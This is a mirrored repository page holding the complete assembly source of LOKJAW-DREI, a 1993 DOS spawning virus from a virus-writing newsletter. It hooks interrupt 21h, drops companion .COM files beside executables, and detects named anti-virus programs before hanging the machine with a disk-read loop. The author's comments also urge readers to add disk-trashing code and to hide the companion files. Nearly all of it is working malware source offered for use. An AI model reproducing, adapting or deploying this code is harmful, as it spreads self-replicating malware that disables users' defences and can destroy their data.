mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
560 lines
15 KiB
NASM
560 lines
15 KiB
NASM
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
|
||
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
|
||
;
|
||
;LOKJAW-DREI is a resident spawning virus which installs itself in
|
||
;memory using the same engine as the original Civil War/Proto-T virus.
|
||
;It is simpler in that none of its addresses have to be
|
||
;relative, an indirect benefit of the fact that the virus has no
|
||
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
|
||
;just like a number of other companion/spawning viruses published in
|
||
;previous newsletters.
|
||
;
|
||
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
|
||
;itself as companion .COMfile to the "host." Due to the inherent rules
|
||
;of DOS, this ensures the virus will be executed before the "host" the
|
||
;next time the infected program is used. In reality, LOKJAW is even
|
||
;simpler than that. If not in memory, the first time the host is
|
||
;called, LOKJAW will go resident and not even bother to load it.
|
||
;In most cases, the user will assume a slight error and call the host
|
||
;again, at which point it will function normally. LOKJAW will then infect
|
||
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
|
||
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
|
||
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
|
||
;
|
||
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
|
||
;retaliating virus by quickly deleting the anti-virus program before it
|
||
;can execute and then displaying a "chomping" graphic. Even if the anti-
|
||
;virus program cannot detect LOKJAW in memory, it will be deleted. This
|
||
;makes it essential that the user know how to either remove the virus from
|
||
;memory before beginning anti-virus measures, or at the least run the
|
||
;anti-virus component from a write-protected disk. At a time when retail
|
||
;anti-virus packages are becoming more complicated - and more likely that the
|
||
;average user will run them from default installations on his hard file -
|
||
;LOKJAW's retaliating power makes it a potentially very annoying pest.
|
||
;A virus-programmer serious about inconveniencing a system could do a
|
||
;number of things with this basic idea. They are;
|
||
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
|
||
; instantly.
|
||
; 2. Alter the_stinger routine, so that the virus immediately attacks the
|
||
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
|
||
; merely makes the disk inaccessible until a warm reboot if an anti-virus
|
||
; program is employed against it. By placing
|
||
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
|
||
; an unknowing user to employ anti-virus measures on a machine where
|
||
; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
|
||
; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
|
||
; is run against them from a write-protected diskette, LOKJAW-DREI
|
||
; won't. It will recognize the anti-virus program, display the "chomp"
|
||
; and mimic trashing the hard file. This effect makes the disk inacessible
|
||
; until the machine is rebooted.
|
||
;
|
||
;The anti-anti-virus strategies are becoming more common in viral programming.
|
||
;Mark Ludwig programmed the features of a direct-action retaliating
|
||
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
|
||
;Encroacher viruses attack anti-virus software by deletion of key files.
|
||
;And in this issue, the Sandra virus employs a number
|
||
;of anti-anti-virus features.
|
||
;
|
||
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
|
||
;DREI infected files from a system, simply delete the "companion" .COM
|
||
;duplicates of your executables. Ensure that the machine has been booted
|
||
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
|
||
;time it will be necessary for you to restore the contaminated files from
|
||
;a clean back-up.
|
||
;
|
||
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
|
||
;files in plain sight. Generally, spawning viruses make themselves
|
||
;hidden-read-only-system files. This is an easy hack and the code is supplied
|
||
;in earlier issues of the newsletter. The modification is left to
|
||
;the reader as an academic exercise.
|
||
|
||
|
||
.radix 16
|
||
cseg segment
|
||
model small
|
||
assume cs:cseg, ds:cseg, es:cseg
|
||
|
||
org 100h
|
||
|
||
oi21 equ endit
|
||
filelength equ endit - begin
|
||
nameptr equ endit+4
|
||
DTA equ endit+8
|
||
|
||
|
||
|
||
|
||
|
||
|
||
begin: jmp virus_install
|
||
|
||
note:
|
||
db '[l<><6C>k<EFBFBD><6B>W-d␍].<2E><>.<2E>r<EFBFBD>$ņd<C586>M<EFBFBD>$'
|
||
db '<27>H<EFBFBD>$.p<><70>G<EFBFBD><47>m.<2E>$.<2E>.{p<><70>Ŕ-<2D>].<2E><>⋆<EFBFBD><E28B86>,$<24><><EFBFBD>.<2E><>.'
|
||
db '<27>☞.<2E><>w$<24><><EFBFBD><EFBFBD><EFBFBD>' ;I.D. note: will doubtless
|
||
;show up in VSUM
|
||
|
||
|
||
;install
|
||
virus_install: mov ax,cs ; reduce memory size
|
||
dec ax
|
||
mov ds,ax
|
||
cmp byte ptr ds:[0000],5a
|
||
jne cancel
|
||
mov ax,ds:[0003]
|
||
sub ax,100
|
||
mov ds:0003,ax
|
||
Zopy_virus:
|
||
mov bx,ax ; copy to claimed block
|
||
mov ax,es
|
||
add ax,bx
|
||
mov es,ax
|
||
mov cx,offset endit - begin
|
||
mov ax,ds
|
||
inc ax
|
||
mov ds,ax
|
||
lea si,ds:[begin]
|
||
lea di,es:0100
|
||
rep movsb
|
||
|
||
|
||
|
||
Grab_21:
|
||
|
||
mov ds,cx ; hook int 21h
|
||
mov si,0084h ;
|
||
mov di,offset oi21
|
||
mov dx,offset check_exec
|
||
lodsw
|
||
cmp ax,dx ;
|
||
je cancel ; exit, if already installed
|
||
stosw
|
||
movsw
|
||
|
||
push es
|
||
pop ds
|
||
mov ax,2521h ; revector int 21h to virus
|
||
int 21h
|
||
|
||
cancel: ret
|
||
|
||
check_exec:
|
||
pushf
|
||
|
||
push es ; push everything onto the
|
||
push ds ; stack
|
||
push ax
|
||
push bx
|
||
push dx
|
||
|
||
cmp ax,04B00h ; is the file being
|
||
|
||
|
||
|
||
jne abort ; executed?
|
||
|
||
|
||
|
||
|
||
;if yes, try the_stinger
|
||
do_infect: call infect ; then try to infect
|
||
|
||
|
||
|
||
|
||
abort: ; restore everything
|
||
pop dx
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
pop es
|
||
popf
|
||
|
||
Bye_Bye:
|
||
; exit
|
||
jmp dword ptr cs:[oi21]
|
||
|
||
|
||
new_24h:
|
||
mov al,3 ; critical error handler
|
||
iret
|
||
|
||
infect:
|
||
mov cs:[name_seg],ds ; here, the virus essentially
|
||
mov cs:[name_off],dx ; copies the name of the
|
||
|
||
cld ; loaded file into a buffer
|
||
mov di,dx ; so that it can be compared
|
||
push ds ; against the default names
|
||
pop es ; in the_stinger
|
||
mov al,'.' ; subroutine
|
||
repne scasb ; <--
|
||
|
||
call the_stinger ; check for anti-virus load
|
||
; and deploy the_stinger
|
||
|
||
|
||
|
||
cld
|
||
mov word ptr cs:[nameptr],dx
|
||
mov word ptr cs:[nameptr+2],ds
|
||
|
||
mov ah,2Fh
|
||
int 21h
|
||
push es
|
||
push bx
|
||
|
||
push cs
|
||
|
||
pop ds
|
||
mov dx,offset DTA
|
||
mov ah,1Ah
|
||
int 21h
|
||
|
||
call searchpoint
|
||
push di
|
||
mov si,offset COM_txt
|
||
|
||
mov cx,3
|
||
rep cmpsb
|
||
pop di
|
||
jz do_com
|
||
mov si,offset EXE_txt
|
||
nop
|
||
mov cl,3
|
||
rep cmpsb
|
||
jnz return
|
||
|
||
do_exe: mov si,offset COM_txt
|
||
nop
|
||
call change_ext
|
||
mov ax,3300h
|
||
nop
|
||
int 21h
|
||
push dx
|
||
|
||
cwd
|
||
inc ax
|
||
push ax
|
||
int 21h
|
||
|
||
Grab24h:
|
||
|
||
mov ax,3524h
|
||
int 21h
|
||
push bx
|
||
push es
|
||
push cs
|
||
pop ds
|
||
mov dx,offset new_24h
|
||
mov ah,25h
|
||
push ax
|
||
int 21h
|
||
|
||
|
||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||
xor cx,cx
|
||
mov ah,05Bh
|
||
int 21
|
||
jc return1
|
||
xchg bx,ax ;save handle
|
||
|
||
|
||
|
||
push cs
|
||
pop ds
|
||
mov cx,filelength ;cx= length of virus
|
||
mov dx,offset begin ;where to start copying
|
||
mov ah,40h ;write the virus to the
|
||
int 21h ;new file
|
||
|
||
mov ah,3Eh ; close
|
||
int 21h
|
||
|
||
return1: pop ax
|
||
pop ds
|
||
pop dx
|
||
int 21h
|
||
|
||
pop ax
|
||
pop dx
|
||
int 21h
|
||
|
||
mov si,offset EXE_txt
|
||
call change_ext
|
||
|
||
return: mov ah,1Ah
|
||
pop dx
|
||
pop ds
|
||
int 21H
|
||
|
||
ret
|
||
|
||
do_com: call findfirst
|
||
cmp word ptr cs:[DTA+1Ah],endit - begin
|
||
jne return
|
||
mov si,offset EXE_txt
|
||
call change_ext
|
||
call findfirst
|
||
jnc return
|
||
mov si,offset COM_txt
|
||
call change_ext
|
||
jmp short return
|
||
|
||
searchpoint: les di,dword ptr cs:[nameptr]
|
||
mov ch,0FFh
|
||
mov al,0
|
||
repnz scasb
|
||
sub di,4
|
||
ret
|
||
change_ext: call searchpoint
|
||
push cs
|
||
pop ds
|
||
movsw
|
||
movsw
|
||
ret
|
||
|
||
findfirst: lds dx,dword ptr [nameptr]
|
||
mov cl,27h
|
||
mov ah,4Eh
|
||
int 21h
|
||
ret
|
||
|
||
the_stinger:
|
||
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
||
je jumptoass
|
||
|
||
cmp word ptr es:[di-3],'XR' ;VIRX
|
||
je jumptoass
|
||
|
||
cmp word ptr es:[di-3],'PO' ;VIRUSTOP
|
||
jne next1
|
||
cmp word ptr es:[di-5],'TS'
|
||
je jumptoass
|
||
|
||
next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
|
||
je jumptoass
|
||
|
||
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
|
||
jne next2
|
||
cmp word ptr es:[di-5],'RP'
|
||
je jumptoass
|
||
|
||
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
|
||
jne next3
|
||
cmp word ptr es:[di-5],'CS'
|
||
je jumptoass
|
||
|
||
cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN.
|
||
jne next3 ; why not, eh?
|
||
cmp word ptr es:[di-5],'EL'
|
||
je jumptoass
|
||
next3: ret
|
||
jumptoass: jmp chomp ;assassination (deletion)
|
||
; of anti-virus program
|
||
chomp:
|
||
push cs ; chomper visual
|
||
pop ds
|
||
mov ah, 03h
|
||
int 10h
|
||
mov [c1], bh ; save cursor
|
||
mov [c2], dh
|
||
mov [c3], dl
|
||
mov [c4], ch
|
||
mov [c5], cl
|
||
mov ah, 1
|
||
mov cl, 0
|
||
mov ch, 40h
|
||
int 10h
|
||
|
||
mov cl, 0
|
||
mov dl, 4Fh
|
||
mov ah, 6
|
||
mov al, 0
|
||
mov bh, 0Fh
|
||
mov ch, 0
|
||
mov cl, 0
|
||
mov dh, 0
|
||
mov dl, 4Fh
|
||
int 10h
|
||
|
||
mov ah, 2
|
||
mov dh, 0
|
||
mov dl, 1Fh
|
||
mov bh, 0
|
||
int 10h
|
||
|
||
mov dx,offset eyes ; print the eyes
|
||
mov ah, 9
|
||
mov bl, 0Fh
|
||
int 21h
|
||
|
||
mov ah, 2
|
||
mov dh, 1
|
||
mov dl, 0
|
||
int 10h
|
||
|
||
mov ah, 9
|
||
mov al, 0DCh
|
||
mov bl, 0Fh
|
||
mov cx, 50h
|
||
int 10h
|
||
|
||
mov ah, 2
|
||
mov dh, 18h
|
||
mov dl, 0
|
||
int 10h
|
||
|
||
mov ah, 9
|
||
mov al, 0DFh
|
||
mov bl, 0Fh
|
||
mov cx, 50h
|
||
int 10h
|
||
|
||
mov dl, 0
|
||
chomp_1:
|
||
mov ah, 2
|
||
mov dh, 2
|
||
int 10h
|
||
|
||
mov ah, 9
|
||
mov al, 55h
|
||
mov bl, 0Fh
|
||
mov cx, 1
|
||
int 10h
|
||
|
||
mov ah, 2
|
||
mov dh, 17h
|
||
inc dl
|
||
int 10h
|
||
|
||
mov ah, 9
|
||
mov al, 0EFh
|
||
mov bl, 0Fh
|
||
int 10h
|
||
|
||
inc dl
|
||
cmp dl, 50h
|
||
jl chomp_1
|
||
mov [data_1], 0
|
||
chomp_3:
|
||
mov cx, 7FFFh ; delays
|
||
|
||
locloop_4:
|
||
loop locloop_4
|
||
|
||
inc [data_1]
|
||
cmp [data_1], 0Ah
|
||
jl chomp_3
|
||
mov [data_1], 0
|
||
mov cl, 0
|
||
mov dl, 4Fh
|
||
chomp_5:
|
||
mov ah, 6
|
||
mov al, 1
|
||
mov bh, [data_2]
|
||
mov ch, 0Dh
|
||
mov dh, 18h
|
||
int 10h
|
||
|
||
mov ah, 7
|
||
mov al, 1
|
||
mov bh, [data_2]
|
||
mov ch, 0
|
||
mov dh, 0Ch
|
||
int 10h
|
||
mov cx, 3FFFh ; delays
|
||
|
||
locloop_6:
|
||
loop locloop_6
|
||
inc [data_1]
|
||
cmp [data_1], 0Bh
|
||
jl chomp_5
|
||
mov [data_1], 0
|
||
chomp_7:
|
||
mov cx, 7FFFh ; delays
|
||
|
||
locloop_8:
|
||
loop locloop_8
|
||
inc [data_1]
|
||
cmp [data_1], 0Ah
|
||
jl chomp_7
|
||
mov ah, 6
|
||
mov al, 0
|
||
mov bh, [data_2]
|
||
mov ch, 0
|
||
mov cl, 0
|
||
mov dh, 18h
|
||
mov dl, 4Fh
|
||
int 10h
|
||
|
||
mov cl, 7
|
||
mov ch, 6
|
||
int 10h
|
||
|
||
mov ah, 2
|
||
mov bh, [c1]
|
||
mov dh, [c2]
|
||
mov dl, [c3]
|
||
int 10h
|
||
mov al, bh
|
||
mov ah, 5
|
||
int 10h
|
||
mov ah, 1
|
||
mov ch, [c4]
|
||
mov cl, [c5]
|
||
int 10h
|
||
mov ax, 0003h
|
||
int 10h ; sort of a cls
|
||
mov ax, 00ffh
|
||
|
||
mov si,0 ;scarey part: drive reads real
|
||
scarey: lodsb ;fast ala Michelangelo-style
|
||
mov ah,al ;over-write, but this routine only
|
||
lodsb ;gets random bytes here for a
|
||
and al,3 ;cylinder to READ
|
||
mov dl,80h
|
||
mov dh,al
|
||
mov ch,ah
|
||
mov cl,1
|
||
mov bx,offset last ;buffer to read into
|
||
mov ax,201h
|
||
int 13h ;jump into a loop, effectively hang machine
|
||
jmp short scarey ;yow! scarey! just think if this
|
||
;was made by someone not as nice as
|
||
;me.
|
||
;It's not much of a stretch to
|
||
;imagine a routine for thumping
|
||
;the hard file in place of scarey.
|
||
;A retaliating virus of this
|
||
;nature is a distinct
|
||
;possibility.
|
||
|
||
EXE_txt db 'EXE',0
|
||
COM_txt db 'COM',0
|
||
|
||
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
|
||
|
||
data_1 db 0
|
||
data_2 db 0
|
||
|
||
last db 090H
|
||
name_seg dw ?
|
||
name_off dw ?
|
||
|
||
c1 db 0
|
||
c2 db 0
|
||
c3 db 0
|
||
c4 db 0
|
||
c5 db 0
|
||
note2: db 'Lokjaw-Drei'
|
||
|
||
endit:
|
||
|
||
|
||
cseg ends
|
||
end begin
|
||
|
||
|
||
|